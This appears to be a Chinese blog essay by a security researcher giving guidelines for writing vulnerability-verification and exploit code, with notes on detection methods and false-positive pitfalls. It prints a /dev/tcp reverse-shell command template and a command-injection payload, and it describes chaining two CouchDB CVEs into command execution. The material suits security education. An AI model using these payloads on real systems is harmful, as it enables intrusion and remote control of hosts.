漏洞驗證準則
已有人總結(jié)過 《漏洞檢測的那些事兒》:
文章里很好的提出編寫漏洞驗證代碼時需要注意的 三個準則 ,簡單總結(jié)和補充如下:
1. 隨機性
保證關(guān)鍵變量、數(shù)據(jù)和無明顯含義要求的值應(yīng)該具有隨機性。
如: 上傳文件的文件名,webshell 密碼,print 的值,探測 404 頁面使用的路徑等。
2. 確定性
通過返回的內(nèi)容找到唯一確定的標識來說明該漏洞是否存在。
驗證漏洞盡可能達到與漏洞利用時同樣的水準,勿使用單一模糊的條件去判斷,如HTTP狀態(tài)碼、固定頁面內(nèi)容等來判定漏洞是否存在。
比如驗證文件上傳漏洞,最好上傳真實的文件進行判斷;驗證通過不常見的API接口未授權(quán)添加管理員,僅是通過判斷不常見的API接口是否存在來判定漏洞是否存在是不夠的,最好是要實際去添加一個管理員用戶,最后按照添加成功與否來判定這個漏洞是否存在。
3. 通用性
兼顧各個環(huán)境或平臺,兼顧存在漏洞應(yīng)用的多個常見版本。
勿只考慮漏洞復(fù)現(xiàn)的單一環(huán)境,要考慮到存在漏洞的應(yīng)用的不同版本、安裝應(yīng)用的不同操作系統(tǒng)、API接口、參數(shù)名、路徑前綴、執(zhí)行命令等的不同情況。
4. 無損性
有效驗證漏洞的前提下盡可能避免對目標造成損害。
驗證漏洞時,在有效驗證漏洞的前提下,盡量不改寫、添加、刪除數(shù)據(jù),不上傳、刪除文件。可以的話,驗證漏洞完畢后應(yīng)恢復(fù)數(shù)據(jù)和驗證漏洞前的數(shù)據(jù)一致。
漏洞驗證方法
如果根據(jù)實際可操作性,對主流的漏洞驗證方法定義,梳理和總結(jié)如下:
一. 直接判斷
即可直接通過目標的不同響應(yīng)和狀態(tài)來判斷目標是否存在漏洞,主要包括下面四種方法:
1. 結(jié)果回顯判斷
最直接的漏洞存在的判定方法,受我們的輸入控制影響,目標響應(yīng)中完整輸出了我們期望的結(jié)果。
2. 報錯回顯判斷
使目標處理我們輸入的數(shù)據(jù)時內(nèi)部錯誤,并在錯誤的輸出中攜帶了受我們期望的結(jié)果。
3. 寫數(shù)據(jù)讀取判斷
將結(jié)果或標志寫入目標文件或數(shù)據(jù)庫等類似數(shù)據(jù)存儲系統(tǒng),并嘗試讀取存儲的內(nèi)容來判斷目標是否存在漏的方法。
4. 延時判斷
通過控制在目標機器上執(zhí)行的代碼,讓目標機器等待N秒后再響應(yīng)我們的請求。
在延時SQL注入、執(zhí)行命令 sleep、執(zhí)行代碼 sleep等漏洞判定應(yīng)用場景里常有不可替代的重要作用。
二. 間接判斷
通過控制目標向第三方發(fā)送信息,通過第三方是否接收到信息來判定目標是否存在漏洞,主要包括下面幾種方法:
1.DNSLOG 方式判斷
當(dāng)目標可解析域名并且允許請求外網(wǎng) DNS 服務(wù)器時使用,因為有部分機器默認允許請求外網(wǎng) DNS 服務(wù)器而且防火墻也不會輕易攔截,所以此方法已被廣泛使用。JAVA 反序列化中的 URLDNS payload 就是屬于此判斷方法。
2.WEBLOG 方式判斷
在目標可以對外發(fā)送 TCP 請求時,使用 Web 服務(wù)器接收目標發(fā)送而來的請求,以此來判斷我們可以控制目標發(fā)送請求到特定第三方 Web 服務(wù)器,目標存在漏洞。
雖然靈活運用各種漏洞驗證方法可以有效的驗證漏洞是否存在,但是對于僅使用單一方法來驗證漏洞是否存在時,我傾向于下面的方法優(yōu)先級:
結(jié)果回顯判斷 > 報錯回顯判斷 > 寫文件讀取判斷 > 延時判斷 > DNSLOG 方式判斷 > WEBLOG 方式判斷
漏洞利用準則
之所以把漏洞利用和漏洞驗證分開來敘述,是因為在我看來漏洞利用才是安全研究人員需要額外注意的部分,也是最能體現(xiàn)安全研究水平和代碼編寫水準的方面。
不少安全研究人員可能僅出于研究目的,或因為怕研究成果被惡意利用,再加上編寫 漏洞驗證 代碼通常比真實的 漏洞利用 代碼更為簡單,所以通常僅是給出一個十分簡單的漏洞驗證步驟或 demo 代碼。漏洞之所以被重視,根本原因是某些漏洞被利用后能對目標造成很大的損害,這不是一個 CVE 編號或者高中低危評價就能夠衡量的,而是由真實的漏洞利用代碼來評判的。
結(jié)合自己的漏洞利用代碼編寫經(jīng)驗,遵守的準則主要有以下幾個部分:
1.結(jié)果回顯優(yōu)先
優(yōu)先將漏洞成功利用獲得的信息顯示出來。
比如對于一個命令執(zhí)行漏洞,漏洞利用代碼應(yīng)該朝著直接獲得執(zhí)行的命令的輸出結(jié)果去努力,而不是一開始就去嘗試做反彈 shell、寫文件讀取達到回顯效果這種事。
具體說,我曾經(jīng)編寫過一份結(jié)合 CVE-2017-12635和CVE-2017-12636 兩個漏洞的代碼。CouchDB先垂直越權(quán)添加管理員用戶,然后利用添加的管理員用戶通過Authorization頭認證,創(chuàng)建新數(shù)據(jù)庫,將執(zhí)行命令的結(jié)果存儲到該數(shù)據(jù)庫,最后從該數(shù)據(jù)庫中讀取執(zhí)行命令的結(jié)果,再刪除該數(shù)據(jù)庫,從而達到執(zhí)行命令結(jié)果回顯的目的。
直接顯示漏洞執(zhí)行成功獲得的結(jié)果擁有較高的錯誤兼容性,不會因為目標不能直接連接互聯(lián)網(wǎng)、不解析域名、無權(quán)限寫文件、文件路徑可能不唯一等等原因?qū)е碌囊恍┡袛嗦┒创嬖趨s利用不成功的情況。
2.穩(wěn)定利用優(yōu)先
要綜合考慮到應(yīng)用版本、操作系統(tǒng)環(huán)境、網(wǎng)絡(luò)等原因,寫出兼容各種應(yīng)用版本并可以穩(wěn)定復(fù)現(xiàn)的漏洞利用代碼。
穩(wěn)定利用里有兩個問題需要額外注意:
一是編寫的代碼是否考慮到了存在漏洞的應(yīng)用的不同版本之間的差異。比如 API 接口變化、路徑變化等,可能會導(dǎo)致相當(dāng)一部分的漏洞利用不成功;
二是執(zhí)行代碼優(yōu)于執(zhí)行命令。比如現(xiàn)在常見的一個示例的就是利用代碼執(zhí)行漏洞進行反彈 shell 的利用,演示用的多是利用執(zhí)行類似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1 的命令來反彈 shell。
這里面有個降級利用的概念,即代碼執(zhí)行 卻常被當(dāng)做 命令執(zhí)行 來使用,但是 代碼執(zhí)行 一般比命令執(zhí)行可操作性更大,更穩(wěn)定。
當(dāng)只利用漏洞進行執(zhí)行命令時,這當(dāng)然沒有什么問題,但是當(dāng)用執(zhí)行命令來反彈 shell 時,就會出現(xiàn)比較大的問題。比如,只適合 linux 類系統(tǒng),而且有些 Docker、busybox 之類的精簡環(huán)境可能沒有 /bin/bash,或者不支持命令行下的反彈 shell,這些都會讓漏洞利用不成功。
這種情況下的正確做法應(yīng)該是優(yōu)先執(zhí)行一段代碼,而不是降級之后的執(zhí)行命令來完成復(fù)雜的操作。
3.最簡利用優(yōu)先
在能達到相同利用效果的情況下,選擇最簡單的實現(xiàn)路徑。
比如最近的寫的一個 flink-unauth-rce:
https://github.com/LandGrey/flink-unauth-rce
漏洞利用,最優(yōu)雅的方式是根據(jù) flink api 來實現(xiàn)執(zhí)行命令回顯這個功能,但是勢必要花點時間去學(xué)習(xí)和構(gòu)造代碼,不如直接利用程序報錯回顯,在報錯結(jié)果中提取出執(zhí)行命令的結(jié)果,省時省力效果良好。
需避免的錯誤
1. 檢測條件不充足
比如,通過 GET 請求路徑
/hard-to-guest-path/there/is/vulnerable
然后判斷漏洞存在的核心邏輯是狀態(tài)碼 200,并且響應(yīng)中存在 admin 關(guān)鍵詞。
雖然請求路徑比較特殊,但是考慮到有些網(wǎng)站總是返回 200 狀態(tài)碼,并且admin作為關(guān)鍵詞過于普通,所以容易產(chǎn)生誤報。
2. 檢測關(guān)鍵詞放置在發(fā)包內(nèi)容中
比如檢測一個可以回顯的 GET 型命令執(zhí)行漏洞,構(gòu)造了如下的 payload;
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判斷漏洞存在的核心邏輯是關(guān)鍵詞 79c363c6044c4c58 出現(xiàn)在返回狀態(tài)碼是200的目標 response中。
這類將判斷漏洞存在的關(guān)鍵詞放置在 GET 請求的 URL 中,有些網(wǎng)站在請求不存在的路徑時,也會返回 200 狀態(tài)碼,而且會將請求的 URL 全部返回到 response 中,這樣就產(chǎn)生了誤報。
當(dāng)然,不止GET請求,POST等請求類型的漏洞驗證也會存在此類問題。比如POST發(fā)包:
POST: /api/ping
DATA: host=127.1|echo+79c363c6044c4c58
有些網(wǎng)站在接收到不能處理的請求時,會將 POST 的所有數(shù)據(jù)包括 HTTP Header 等回顯到頁面,這時候判斷關(guān)鍵詞就會產(chǎn)生誤報。
總結(jié)
規(guī)則是死的,人是活的。為了編寫出符合要求的代碼,在指定的要求、特殊情況下可以犧牲一些方面的準則特性來強化其他方面的準則特性。
比如,某些情況下付出 30% 的精力就可以編寫出覆蓋 90% 應(yīng)用環(huán)境的代碼,如果鉆牛角尖,要付出 100% 的精力,編寫出適合 99% 應(yīng)用環(huán)境的代碼,是無法享受漏洞研究到漏洞利用這整個過程的。
作為一名有追求的安全研究人員,不應(yīng)該淺嘗輒止于普通漏洞驗證代碼的編寫,良好的漏洞利用代碼的編寫才能顯示出漏洞的真正危害,體會到漏洞利用代碼編寫的精髓。






